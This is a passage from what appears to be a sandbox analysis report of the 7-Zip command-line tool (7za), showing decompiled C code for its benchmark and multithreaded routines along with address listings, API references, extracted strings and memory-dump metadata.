										if(_t80 != 0) {
											break;
										}
										_t122 = _t122 + 1;
										_push(_t132 - 0x34);
										_t83 = E00414C98(_t122,  *(_t132 - 0x20));
										__eflags = _t83;
										if(_t83 != 0) {
											_t130 = _t83;
											L27:
											E00407A18( *(_t132 - 0x14));
											_t67 = _t130;
										} else {
											_t117 =  *((intOrPtr*)(_t132 - 0x30));
											_t111 = 0x14;
											_t85 = E0046B2E0( *((intOrPtr*)(_t132 - 0x34)), _t111, _t117);
											_push(_t117);
											_push(_t85);
											_t115 = 5;
											E00401134(_t90, _t115, __eflags);
											 *_t129 =  *_t129 +  *((intOrPtr*)(_t132 - 0x34));
											asm("adc [esi+0x4], ecx");
											_t129 =  &(_t129[2]);
											__eflags = _t122 -  *(_t132 + 8);
											if(_t122 <  *(_t132 + 8)) {
												continue;
											} else {
												goto L16;
											}
										}
										goto L24;
									}
									_t130 = 0x80004004;
									goto L27;
								}
								goto L24;
							}
							L17:
							 *((intOrPtr*)(_t132 - 0x18)) =  *((intOrPtr*)(_t132 - 0x18)) + 1;
							__eflags =  *((intOrPtr*)(_t132 - 0x18)) -  *(_t132 - 0x1c);
						} while ( *((intOrPtr*)(_t132 - 0x18)) <  *(_t132 - 0x1c));
						__eflags =  *(_t132 - 0x2c) |  *(_t132 - 0x28);
						if(( *(_t132 - 0x2c) |  *(_t132 - 0x28)) != 0) {
							_push("\nAvg:");
							_push(_t90);
							E0046B47B();
							_t123 =  *(_t132 + 8);
							__eflags = _t123;
							if(_t123 > 0) {
								_t131 =  *(_t132 - 0x14);
								do {
									_t75 = E0046B300( *_t131, _t131[1],  *(_t132 - 0x2c),  *(_t132 - 0x28));
									_t105 = 0x14;
									_t76 = E0046B2E0(_t75, _t105, _t115);
									_push(_t115);
									_push(_t76);
									_t115 = 5;
									E00401134(_t90, _t115, __eflags);
									_t131 =  &(_t131[2]);
									_t123 = _t123 - 1;
									__eflags = _t123;
								} while (_t123 != 0);
							}
							_push("\n");
							_push(_t90);
							E0046B47B();
						}
						goto L23;
					}
				} else {
					_t67 = 1;
				}
				L24:
				 *[fs:0x0] =  *((intOrPtr*)(_t132 - 0xc));
				return _t67;
			}

0x00401679
0x0040167e
0x00401683
0x00401689
0x0040168c
0x00401695
0x0040169f
0x004016a6
0x004016ae
0x004016b0
0x004016b5
0x004016b6
0x004016c1
0x004016c6
0x004016ca
0x004016cc
0x004016cc
0x004016cf
0x004016d3
0x004016d5
0x004016d5
0x004016dc
0x004016e4
0x004016ea
0x004016ec
0x004016ef
0x004016f2
0x004016f6
0x004016fd
0x004016fe
0x00401704
0x00401706
0x00401709
0x0040170b
0x0040170b
0x0040170b
0x00401715
0x0040171a
0x0040171d
0x00401721
0x00401723
0x00401726
0x00401729
0x00401729
0x0040170b
0x0040172e
0x00401733
0x00401734
0x0040173c
0x00401740
0x00401743
0x00401746
0x00401749
0x0040185b
0x0040185e
0x00401864
0x00401864
0x0040174f
0x0040174f
0x0040174f
0x00401756
0x00401756
0x0040175b
0x0040175c
0x0040175e
0x00401761
0x00401764
0x00000000
0x00000000
0x00401771
0x00401776
0x00401778
0x0040177b
0x0040177e
0x004017d4
0x004017d4
0x004017d9
0x004017da
0x004017df
0x004017e5
0x004017e9
0x004017ec
0x004017f0
0x00000000
0x00000000
0x00000000
0x00000000
0x00401780
0x00401780
0x00401783
0x00401783
0x00401788
0x0040178a
0x00000000
0x00000000
0x00401793
0x00401799
0x0040179a
0x0040179f
0x004017a1
0x0040187e
0x00401880
0x00401883
0x00401889
0x004017a7
0x004017aa
0x004017af
0x004017b0
0x004017b7
0x004017b8
0x004017bb
0x004017bc
0x004017c7
0x004017c9
0x004017cc
0x004017cf
0x004017d2
0x00000000
0x00000000
0x00000000
0x00000000
0x004017d2
0x00000000
0x004017a1
0x00401877
0x00000000
0x00401877
0x00000000
0x0040177e
0x004017f6
0x004017f6
0x004017fc
0x004017fc
0x00401808
0x0040180b
0x0040180d
0x00401812
0x00401813
0x00401818
0x0040181c
0x0040181f
0x00401821
0x00401824
0x0040182f
0x00401836
0x00401837
0x0040183e
0x0040183f
0x00401842
0x00401843
0x00401848
0x0040184b
0x0040184b
0x0040184b
0x00401824
0x0040184e
0x00401853
0x00401854
0x0040185a
0x00000000
0x0040180b
0x00401697
0x00401699
0x00401699
0x00401866
0x0040186c
0x00401874

APIs

__EH_prolog.LIBCMT ref: 0040167E

Part of subcall function 00414B6B: __EH_prolog.LIBCMT ref: 00414B70

Part of subcall function 0040C609: GetModuleHandleA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx), ref: 0040C620
Part of subcall function 0040C609: GetProcAddress.KERNEL32(00000000), ref: 0040C627
Part of subcall function 0040C609: GlobalMemoryStatus.KERNEL32(?), ref: 0040C662

Part of subcall function 0040C5F4: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,004012EC,00000000,00000000,00490AB0), ref: 0040C5FE

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Part of subcall function 00414C98: __EH_prolog.LIBCMT ref: 00414C9D

__aulldiv.INT64 ref: 0040182F

Strings

size: , xrefs: 004016B0
%2d: , xrefs: 0040176B
Avg:, xrefs: 0040180D
, xrefs: 004017EC
%5d, xrefs: 0040170F
CPU hardware threads:, xrefs: 004016B6

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00414269, Relevance: 12.5, APIs: 8, Instructions: 493

C-Code - Quality: 87%

			E00414269(unsigned int __ecx, signed int __edx) {
				void* __edi;
				signed int _t241;
				signed int _t242;
				signed int _t247;
				signed int _t249;
				intOrPtr* _t262;
				signed int _t269;
				intOrPtr* _t280;
				signed int _t281;
				intOrPtr* _t289;
				intOrPtr* _t292;
				intOrPtr _t294;
				signed int _t295;
				signed int _t303;
				signed int _t309;
				signed int _t314;
				signed int _t323;
				signed int _t324;
				signed int _t326;
				intOrPtr* _t327;
				unsigned int _t328;
				signed int _t383;
				signed int _t389;
				signed int _t391;
				signed int _t392;
				intOrPtr* _t393;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				void* _t401;
				intOrPtr _t404;
				signed int _t405;
				void* _t408;
				signed int _t409;
				intOrPtr* _t410;
				void* _t411;
				intOrPtr* _t422;

				_t378 = __edx;
				_t328 = __ecx;
				E0046B890(E00474718, _t411);
				_t241 = 1;
				 *(_t411 - 0x2c) = __edx;
				 *((intOrPtr*)(_t411 - 0x8c)) = __ecx;
				if(__ecx <= _t241) {
					_t389 = _t241;
				} else {
					_t389 = __ecx >> 1;
				}
				 *(_t411 - 0x1c) = _t389;
				 *(_t411 - 0x24) = (0 | _t328 - _t241 > 0x00000000) + 1;
				if(_t378 < 0x40000 || _t328 < _t241 || _t389 > 0x10000) {
					_t242 = 0x80070057;
				} else {
					_push(_t389);
					E00414920(_t411 - 0x18);
					_t398 =  *(_t411 - 0x18);
					 *(_t411 - 4) =  *(_t411 - 4) & 0x00000000;
					 *(_t411 - 0x10) =  *(_t411 - 0x10) & 0x00000000;
					_t323 = _t398;
					 *(_t411 - 0x20) = _t323;
					if(_t389 <= 0) {
						L17:
						 *(_t411 - 0x10) =  *(_t411 - 0x10) & 0x00000000;
						 *((intOrPtr*)(_t411 - 0x94)) = 0x159a55e5;
						_t430 = _t389;
						 *((intOrPtr*)(_t411 - 0x90)) = 0x1f123bb5;
						if(_t389 <= 0) {
							L36:
							E00467C60(_t411 - 0x50);
							 *(_t411 - 0x38) =  *(_t411 - 0x38) & 0x00000000;
							 *(_t411 - 0x10) =  *(_t411 - 0x10) & 0x00000000;
							 *(_t411 - 4) = 1;
							 *(_t411 - 0x34) = 1;
							if(_t389 <= 0) {
								L50:
								if(_t389 <= 1 || _t389 <= 0) {
									L54:
									_t399 = 0;
									if( *(_t411 - 0x38) == 0) {
										 *(_t411 - 0x58) = 0;
										E00413688( *((intOrPtr*)(_t323 + 0xc)) + 0x10, _t411 - 0x88);
										__eflags = _t389;
										 *((intOrPtr*)(_t411 - 0x68)) = 0;
										 *((intOrPtr*)(_t411 - 0x64)) = 0;
										 *((intOrPtr*)(_t411 - 0x60)) = 0;
										 *((intOrPtr*)(_t411 - 0x5c)) = 0;
										 *(_t411 - 0x58) = 1;
										if(_t389 <= 0) {
											L59:
											_t247 =  *((intOrPtr*)( *( *(_t411 + 8))))(_t411 - 0x88, 1);
											__eflags = _t247 - _t399;
											 *(_t411 - 0x2c) = _t247;
											if(_t247 == _t399) {
												 *(_t411 - 0x34) =  *(_t411 - 0x34) & 0x00000000;
												_t249 =  *(_t411 - 0x24) * _t389;
												__eflags = _t389 - _t399;
												 *(_t411 - 0x38) = _t399;
												 *(_t411 - 0x14) = _t249;
												 *(_t411 - 0x10) = _t399;
												if(_t389 <= _t399) {
													L78:
													__eflags = _t249 - 1;
													 *(_t411 - 0x14) = _t399;
													if(_t249 <= 1) {
														L94:
														_t400 =  *(_t411 - 0x38);
														__eflags = _t400;
														if(_t400 == 0) {
															E00413688( *((intOrPtr*)(_t323 + 0xc)) + 0x10, _t411 - 0x88);
															_t399 = 0;
															 *((intOrPtr*)(_t411 - 0x68)) = 0;
															 *((intOrPtr*)(_t411 - 0x64)) = 0;
															 *((intOrPtr*)(_t411 - 0x60)) = 0;
															 *((intOrPtr*)(_t411 - 0x5c)) = 0;
															__eflags = _t389;
															 *(_t411 - 0x58) =  *(_t323 + 0x1c) *  *(_t411 - 0x24);
															if(_t389 <= 0) {
																L101:
																_t391 =  *(_t411 + 8);
																_t324 =  *((intOrPtr*)( *_t391 + 4))(_t411 - 0x88, _t399);
																__eflags = _t324 - _t399;
																if(_t324 == _t399) {
																	_t392 =  *((intOrPtr*)( *_t391 + 4))(_t411 - 0x88, 1);
																	__eflags = _t392 - _t399;
																	_push(_t411 - 0x50);
																	if(_t392 == _t399) {
																		DeleteCriticalSection();
																		_t341 =  *(_t411 - 0x18);
																		 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
																		__eflags =  *(_t411 - 0x18) - _t399;
																		if( *(_t411 - 0x18) != _t399) {
																			E0041415B(_t341, _t392, _t411, 3);
																		}
																		_t242 = 0;
																		L113:
																		 *[fs:0x0] =  *((intOrPtr*)(_t411 - 0xc));
																		return _t242;
																	}
																	L106:
																	DeleteCriticalSection();
																	_t342 =  *(_t411 - 0x18);
																	 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
																	if( *(_t411 - 0x18) != _t399) {
																		E0041415B(_t342, _t392, _t411, 3);
																	}
																	_t242 = _t392;
																	goto L113;
																}
																DeleteCriticalSection(_t411 - 0x50);
																_t343 =  *(_t411 - 0x18);
																 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
																__eflags =  *(_t411 - 0x18) - _t399;
																if( *(_t411 - 0x18) != _t399) {
																	E0041415B(_t343, _t391, _t411, 3);
																}
																_t242 = _t324;
																goto L113;
															}
															_t262 = _t323 + 0x68;
															do {
																 *((intOrPtr*)(_t411 - 0x68)) =  *((intOrPtr*)(_t411 - 0x68)) +  *((intOrPtr*)(_t262 - 4));
																asm("adc [ebp-0x64], esi");
																 *((intOrPtr*)(_t411 - 0x60)) =  *((intOrPtr*)(_t411 - 0x60)) +  *_t262;
																asm("adc [ebp-0x5c], esi");
																_t262 = _t262 + 0x84;
																_t389 = _t389 - 1;
																__eflags = _t389;
															} while (_t389 != 0);
															goto L101;
														}
														L95:
														DeleteCriticalSection(_t411 - 0x50);
														_t346 =  *(_t411 - 0x18);
														 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
														__eflags =  *(_t411 - 0x18);
														if( *(_t411 - 0x18) != 0) {
															E0041415B(_t346, _t389, _t411, 3);
														}
														_t242 = _t400;
														goto L113;
													}
													__eflags = _t389;
													if(_t389 <= 0) {
														goto L94;
													}
													 *(_t411 - 0x20) = _t323;
													 *(_t411 - 0x1c) = _t389;
													do {
														__eflags =  *(_t411 - 0x24);
														if( *(_t411 - 0x24) <= 0) {
															goto L86;
														}
														_t401 = 0x4c;
														 *(_t411 - 0x28) =  *(_t411 - 0x24);
														do {
															E00467AC0( *((intOrPtr*)( *(_t411 - 0x20) + _t401 - 0x4c)));
															_t269 =  *( *(_t411 - 0x20) + _t401);
															__eflags = _t269;
															if(_t269 != 0) {
																 *(_t411 - 0x14) = _t269;
															}
															_t401 = _t401 + 4;
															_t185 = _t411 - 0x28;
															 *_t185 =  *(_t411 - 0x28) - 1;
															__eflags =  *_t185;
														} while ( *_t185 != 0);
														L86:
														 *(_t411 - 0x20) =  *(_t411 - 0x20) + 0x84;
														_t189 = _t411 - 0x1c;
														 *_t189 =  *(_t411 - 0x1c) - 1;
														__eflags =  *_t189;
													} while ( *_t189 != 0);
													__eflags =  *(_t411 - 0x14);
													if( *(_t411 - 0x14) == 0) {
														goto L94;
													}
													DeleteCriticalSection(_t411 - 0x50);
													_t348 =  *(_t411 - 0x18);
													 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
													__eflags =  *(_t411 - 0x18);
													if( *(_t411 - 0x18) != 0) {
														E0041415B(_t348, _t389, _t411, 3);
													}
													_t242 =  *(_t411 - 0x14);
													goto L113;
												} else {
													goto L64;
												}
												do {
													L64:
													_t404 =  *(_t411 - 0x10) * 0x84 +  *(_t411 - 0x20);
													_t389 = 0;
													_t383 = 0x4000000 %  *(_t404 + 0x64);
													__eflags =  *(_t411 - 0x10);
													 *((intOrPtr*)(_t404 + 0x1c)) = 0x4000000 /  *(_t404 + 0x64) + 2;
													if( *(_t411 - 0x10) == 0) {
														 *( *((intOrPtr*)(_t404 + 0xc)) + 0x4c) =  *(_t411 + 8);
														 *( *((intOrPtr*)(_t404 + 0xc)) + 0x40) =  *(_t411 - 0x14);
														__eflags =  *((intOrPtr*)(_t404 + 0xc)) + 0x10;
														E00414885( *((intOrPtr*)(_t404 + 0xc)) + 0x10, _t383);
													}
													__eflags =  *(_t411 - 0x14) - 1;
													if( *(_t411 - 0x14) <= 1) {
														_push(_t389);
														_t400 = E00413EF3(_t404);
														__eflags = _t400 - _t389;
														if(_t400 != _t389) {
															goto L95;
														}
													} else {
														__eflags =  *(_t411 - 0x24) - _t389;
														if( *(_t411 - 0x24) <= _t389) {
															goto L76;
														}
														_t326 =  *(_t411 - 0x10) *  *(_t411 - 0x24);
														__eflags = _t326;
														while(1) {
															__eflags =  *(_t411 - 0x10);
															if( *(_t411 - 0x10) == 0) {
																__eflags = _t389;
																if(_t389 == 0) {
																	_push(1);
																	_pop(0);
																}
															}
															_t280 = (_t389 << 4) + _t404 + 0x24;
															 *(_t280 + 8) = (_t326 + _t389) * 0x00000150 & 0x000007ff;
															 *((char*)(_t280 + 0xc)) = 0;
															 *(_t280 + 4) = _t389;
															 *_t280 = _t404;
															_t281 = E00467AD0(_t404 + _t389 * 4, E004148ED, _t280);
															__eflags = _t281;
															 *(_t411 - 0x2c) = _t281;
															if(_t281 != 0) {
																break;
															}
															_t389 = _t389 + 1;
															__eflags = _t389 -  *(_t411 - 0x24);
															if(_t389 <  *(_t411 - 0x24)) {
																continue;
															}
															goto L76;
														}
														DeleteCriticalSection(_t411 - 0x50);
														_t352 =  *(_t411 - 0x18);
														 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
														__eflags =  *(_t411 - 0x18);
														if( *(_t411 - 0x18) != 0) {
															E0041415B(_t352, _t389, _t411, 3);
														}
														_t242 =  *(_t411 - 0x2c);
														goto L113;
													}
													L76:
													 *(_t411 - 0x10) =  *(_t411 - 0x10) + 1;
													__eflags =  *(_t411 - 0x10) -  *(_t411 - 0x1c);
												} while ( *(_t411 - 0x10) <  *(_t411 - 0x1c));
												_t323 =  *(_t411 - 0x20);
												_t249 =  *(_t411 - 0x14);
												_t389 =  *(_t411 - 0x1c);
												_t399 = 0;
												__eflags = 0;
												goto L78;
											}
											DeleteCriticalSection(_t411 - 0x50);
											_t357 =  *(_t411 - 0x18);
											 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
											__eflags =  *(_t411 - 0x18) - _t399;
											if( *(_t411 - 0x18) != _t399) {
												E0041415B(_t357, _t389, _t411, 3);
											}
											_t242 =  *(_t411 - 0x2c);
											goto L113;
										}
										_t289 = _t323 + 0x68;
										 *(_t411 - 0x14) = _t389;
										do {
											 *((intOrPtr*)(_t411 - 0x68)) =  *((intOrPtr*)(_t411 - 0x68)) +  *((intOrPtr*)(_t289 - 4));
											asm("adc [ebp-0x64], esi");
											 *((intOrPtr*)(_t411 - 0x60)) =  *((intOrPtr*)(_t411 - 0x60)) +  *_t289;
											asm("adc [ebp-0x5c], esi");
											_t289 = _t289 + 0x84;
											_t118 = _t411 - 0x14;
											 *_t118 =  *(_t411 - 0x14) - 1;
											__eflags =  *_t118;
										} while ( *_t118 != 0);
										goto L59;
									}
									_t392 =  *(_t411 - 0x38);
									_push(_t411 - 0x50);
									goto L106;
								} else {
									_t405 = _t323;
									 *(_t411 - 0x14) = _t389;
									do {
										E00467AC0( *_t405);
										_t405 = _t405 + 0x84;
										_t98 = _t411 - 0x14;
										 *_t98 =  *(_t411 - 0x14) - 1;
									} while ( *_t98 != 0);
									goto L54;
								}
							} else {
								goto L37;
							}
							do {
								L37:
								 *(_t411 - 0x14) = 2;
								_t408 =  *(_t411 - 0x10) * 0x84 +  *(_t411 - 0x20);
								_t393 = _t408 + 0xc;
								_t327 = _t393;
								do {
									_push(0x50);
									_t292 = E004079F2();
									if(_t292 == 0) {
										_t292 = 0;
										__eflags = 0;
									} else {
										 *((intOrPtr*)(_t292 + 4)) = 0;
										 *((intOrPtr*)(_t292 + 0x40)) = 0;
										 *((intOrPtr*)(_t292 + 0x4c)) = 0;
										 *_t292 = 0x47aaf4;
									}
									 *_t327 = _t292;
									E0040C9B4(_t327 + 8, _t292);
									_t294 =  *_t327;
									_t327 = _t327 + 4;
									_t81 = _t411 - 0x14;
									 *_t81 =  *(_t411 - 0x14) - 1;
									 *((intOrPtr*)(_t294 + 8)) = _t411 - 0x50;
								} while ( *_t81 != 0);
								if( *(_t411 - 0x10) == 0) {
									 *( *_t393 + 0x4c) =  *(_t411 + 8);
									 *( *_t393 + 0x40) =  *(_t411 - 0x1c);
									E00414885( *_t393 + 0x10, _t378);
								}
								_t389 =  *(_t411 - 0x1c);
								if(_t389 <= 1) {
									_t295 = E00413E35(_t408);
								} else {
									_t378 = E004148B5;
									 *(_t408 + 0x20) =  *(_t411 - 0x10) * 0x00000150 & 0x000007ff;
									_t295 = E00467AD0(_t408, E004148B5, _t408);
								}
								_t400 = _t295;
								if(_t400 != 0) {
									goto L95;
								}
								 *(_t411 - 0x10) =  *(_t411 - 0x10) + 1;
							} while ( *(_t411 - 0x10) < _t389);
							_t323 =  *(_t411 - 0x20);
							_t389 =  *(_t411 - 0x1c);
							goto L50;
						}
						_t409 = _t323;
						while(1) {
							_push(_t411 - 0x94);
							_push( *((intOrPtr*)(_t411 - 0x8c)));
							_push( *(_t411 - 0x2c));
							_t303 = E00413A0D(_t409, _t430);
							 *(_t411 - 0x30) = _t303;
							if(_t303 != 0) {
								break;
							}
							 *(_t411 - 0x10) =  *(_t411 - 0x10) + 1;
							_t409 = _t409 + 0x84;
							if( *(_t411 - 0x10) < _t389) {
								continue;
							}
							goto L36;
						}
						_t372 =  *(_t411 - 0x18);
						 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
						__eflags =  *(_t411 - 0x18);
						if( *(_t411 - 0x18) != 0) {
							E0041415B(_t372, _t389, _t411, 3);
						}
						_t242 =  *(_t411 - 0x30);
						goto L113;
					}
					_t410 = _t398 + 8;
					_t422 = _t410;
					while(1) {
						_push(0);
						asm("sbb eax, eax");
						_t378 = 1;
						_push(0x30101);
						 *(_t410 + 0x54) =  !( ~( *(_t411 - 0x10))) &  *(_t411 + 8);
						_t309 = E0040C964(_t410, 1, _t422);
						 *(_t411 - 0x14) = _t309;
						if(_t309 != 0) {
							break;
						}
						if( *_t410 == _t309) {
							_t375 =  *(_t411 - 0x18);
							 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
							__eflags =  *(_t411 - 0x18) - _t309;
							L30:
							if(__eflags != 0) {
								E0041415B(_t375, 0x30101, _t411, 3);
							}
							_t242 = 0x80004001;
							goto L113;
						}
						_t425 =  *(_t411 - 0x24) - _t309;
						 *(_t411 - 0x14) = _t309;
						if( *(_t411 - 0x24) <= _t309) {
							L15:
							 *(_t411 - 0x10) =  *(_t411 - 0x10) + 1;
							_t410 = _t410 + 0x84;
							if( *(_t411 - 0x10) <  *(_t411 - 0x1c)) {
								continue;
							}
							_t389 =  *(_t411 - 0x1c);
							goto L17;
						}
						 *(_t411 - 0x28) = _t410 + 0x3c;
						while(1) {
							_push(0);
							_t378 = 0;
							_push(0x30101);
							_t314 = E0040C964( *(_t411 - 0x28), 0, _t425);
							 *(_t411 - 0x30) = _t314;
							if(_t314 != 0) {
								break;
							}
							if( *( *(_t411 - 0x28)) == 0) {
								_t375 =  *(_t411 - 0x18);
								 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
								__eflags =  *(_t411 - 0x18);
								goto L30;
							}
							 *(_t411 - 0x14) =  *(_t411 - 0x14) + 1;
							 *(_t411 - 0x28) =  *(_t411 - 0x28) + 4;
							if( *(_t411 - 0x14) <  *(_t411 - 0x24)) {
								continue;
							}
							goto L15;
						}
						_t377 =  *(_t411 - 0x18);
						 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
						__eflags =  *(_t411 - 0x18);
						if( *(_t411 - 0x18) != 0) {
							E0041415B(_t377, 0x30101, _t411, 3);
						}
						_t242 =  *(_t411 - 0x30);
						goto L113;
					}
					_t374 =  *(_t411 - 0x18);
					 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
					__eflags =  *(_t411 - 0x18);
					if( *(_t411 - 0x18) != 0) {
						E0041415B(_t374, 0x30101, _t411, 3);
					}
					_t242 =  *(_t411 - 0x14);
				}
			}

0x00414269
0x00414269
0x0041426e
0x0041427e
0x0041427f
0x00414284
0x0041428a
0x00414292
0x0041428c
0x0041428e
0x0041428e
0x004142a2
0x004142a5
0x004142a8
0x00414857
0x004142c2
0x004142c2
0x004142c6
0x004142cb
0x004142ce
0x004142d2
0x004142d6
0x004142da
0x004142dd
0x0041436e
0x0041436e
0x00414372
0x0041437c
0x0041437e
0x00414388
0x00414433
0x00414436
0x0041443b
0x0041443f
0x00414445
0x00414449
0x0041444d
0x00414512
0x00414515
0x00414532
0x00414532
0x00414537
0x00414545
0x00414554
0x00414559
0x0041455b
0x0041455e
0x00414561
0x00414564
0x00414567
0x0041456e
0x00414591
0x0041459f
0x004145a1
0x004145a3
0x004145a6
0x004145cf
0x004145d3
0x004145d6
0x004145d8
0x004145db
0x004145de
0x004145e1
0x004146b6
0x004146b6
0x004146b9
0x004146bc
0x0041475a
0x0041475a
0x0041475d
0x0041475f
0x00414790
0x00414795
0x00414797
0x0041479a
0x0041479d
0x004147a0
0x004147aa
0x004147ac
0x004147af
0x004147cd
0x004147cd
0x004147df
0x004147e1
0x004147e3
0x00414815
0x0041481a
0x0041481c
0x0041481d
0x0041483b
0x00414841
0x00414844
0x00414848
0x0041484a
0x0041484e
0x0041484e
0x00414853
0x0041485c
0x00414862
0x0041486a
0x0041486a
0x0041481f
0x0041481f
0x00414825
0x00414828
0x0041482e
0x00414832
0x00414832
0x00414837
0x00000000
0x00414837
0x004147e9
0x004147ef
0x004147f2
0x004147f6
0x004147f8
0x004147fc
0x004147fc
0x00414801
0x00000000
0x00414801
0x004147b1
0x004147b4
0x004147b7
0x004147ba
0x004147bf
0x004147c2
0x004147c5
0x004147ca
0x004147ca
0x004147ca
0x00000000
0x004147b4
0x00414761
0x00414765
0x0041476b
0x0041476e
0x00414772
0x00414774
0x00414778
0x00414778
0x0041477d
0x00000000
0x0041477d
0x004146c2
0x004146c4
0x00000000
0x00000000
0x004146ca
0x004146cd
0x004146d0
0x004146d0
0x004146d4
0x00000000
0x00000000
0x004146db
0x004146dc
0x004146df
0x004146e6
0x004146ee
0x004146f1
0x004146f3
0x004146f5
0x004146f5
0x004146f8
0x004146fb
0x004146fb
0x004146fb
0x004146fb
0x00414700
0x00414700
0x00414707
0x00414707
0x00414707
0x00414707
0x0041470c
0x00414710
0x00000000
0x00000000
0x00414716
0x0041471c
0x0041471f
0x00414723
0x00414725
0x00414729
0x00414729
0x0041472e
0x00000000
0x00000000
0x00000000
0x00000000
0x004145e7
0x004145e7
0x004145f5
0x004145fa
0x004145fc
0x00414601
0x00414604
0x00414607
0x0041460f
0x00414618
0x0041461e
0x00414621
0x00414621
0x00414626
0x0041462a
0x0041468a
0x00414692
0x00414694
0x00414696
0x00000000
0x00000000
0x0041462c
0x0041462c
0x0041462f
0x00000000
0x00000000
0x00414634
0x00414634
0x00414638
0x0041463a
0x0041463d
0x0041463f
0x00414641
0x00414643
0x00414645
0x00414645
0x00414641
0x0041465a
0x0041465f
0x00414662
0x0041466d
0x00414670
0x00414672
0x00414677
0x00414679
0x0041467c
0x00000000
0x00000000
0x00414682
0x00414683
0x00414686
0x00000000
0x00000000
0x00000000
0x00414688
0x0041473a
0x00414740
0x00414743
0x00414747
0x00414749
0x0041474d
0x0041474d
0x00414752
0x00000000
0x00414752
0x0041469c
0x0041469c
0x004146a2
0x004146a2
0x004146ab
0x004146ae
0x004146b1
0x004146b4
0x004146b4
0x00000000
0x004146b4
0x004145ac
0x004145b2
0x004145b5
0x004145b9
0x004145bb
0x004145bf
0x004145bf
0x004145c4
0x00000000
0x004145c4
0x00414570
0x00414573
0x00414576
0x00414579
0x0041457c
0x00414581
0x00414584
0x00414587
0x0041458c
0x0041458c
0x0041458c
0x0041458c
0x00000000
0x00414576
0x00414539
0x0041453f
0x00000000
0x0041451b
0x0041451b
0x0041451d
0x00414520
0x00414522
0x00414527
0x0041452d
0x0041452d
0x0041452d
0x00000000
0x00414520
0x00000000
0x00000000
0x00000000
0x00414453
0x00414453
0x00414456
0x00414463
0x00414466
0x00414469
0x0041446b
0x0041446b
0x0041446d
0x00414475
0x0041448a
0x0041448a
0x00414477
0x00414479
0x0041447c
0x0041447f
0x00414482
0x00414482
0x00414490
0x00414492
0x00414497
0x0041449c
0x0041449f
0x0041449f
0x004144a2
0x004144a2
0x004144ab
0x004144b2
0x004144ba
0x004144c2
0x004144c2
0x004144c7
0x004144cd
0x004144f1
0x004144cf
0x004144de
0x004144e5
0x004144e8
0x004144e8
0x004144f6
0x004144fa
0x00000000
0x00000000
0x00414500
0x00414503
0x0041450c
0x0041450f
0x00000000
0x0041450f
0x0041438e
0x00414390
0x00414398
0x00414399
0x0041439f
0x004143a2
0x004143a9
0x004143ac
0x00000000
0x00000000
0x004143ae
0x004143b1
0x004143ba
0x00000000
0x00000000
0x00000000
0x004143bc
0x00414419
0x0041441c
0x00414420
0x00414422
0x00414426
0x00414426
0x0041442b
0x00000000
0x0041442b
0x004142e3
0x004142e3
0x004142eb
0x004142ee
0x004142f2
0x004142f4
0x004142fd
0x004142fe
0x00414301
0x00414308
0x0041430b
0x00000000
0x00000000
0x00414313
0x004143d8
0x004143db
0x004143df
0x00414406
0x00414406
0x0041440a
0x0041440a
0x0041440f
0x00000000
0x0041440f
0x00414319
0x0041431c
0x0041431f
0x0041435a
0x0041435a
0x0041435d
0x00414369
0x00000000
0x00000000
0x0041436b
0x00000000
0x0041436b
0x00414324
0x00414327
0x0041432a
0x0041432c
0x0041432e
0x0041432f
0x00414336
0x00414339
0x00000000
0x00000000
0x00414345
0x004143fd
0x00414400
0x00414404
0x00000000
0x00414404
0x0041434b
0x0041434e
0x00414358
0x00000000
0x00000000
0x00000000
0x00414358
0x004143e3
0x004143e6
0x004143ea
0x004143ec
0x004143f0
0x004143f0
0x004143f5
0x00000000
0x004143f5
0x004143be
0x004143c1
0x004143c5
0x004143c7
0x004143cb
0x004143cb
0x004143d0
0x004143d0

APIs

__EH_prolog.LIBCMT ref: 0041426E

Part of subcall function 00414920: __EH_prolog.LIBCMT ref: 00414925

DeleteCriticalSection.KERNEL32(?), ref: 0041481F

Part of subcall function 0040C964: __EH_prolog.LIBCMT ref: 0040C969

Part of subcall function 00467C60: InitializeCriticalSection.KERNEL32(?,00000001,?,?,-00000016), ref: 00467C8E

DeleteCriticalSection.KERNEL32(?), ref: 0041483B

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Part of subcall function 00413A0D: __EH_prolog.LIBCMT ref: 00413A12

Part of subcall function 00413E35: __EH_prolog.LIBCMT ref: 00413E3A

DeleteCriticalSection.KERNEL32(?), ref: 004145AC

Part of subcall function 00467AD0: GetLastError.KERNEL32(?,?,00414677,?,?), ref: 00467AF8

Part of subcall function 00413EF3: __EH_prolog.LIBCMT ref: 00413EF8

Part of subcall function 00467AC0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00467AC3

DeleteCriticalSection.KERNEL32(?), ref: 00414716
DeleteCriticalSection.KERNEL32(?,?,?), ref: 0041473A
DeleteCriticalSection.KERNEL32(?), ref: 00414765
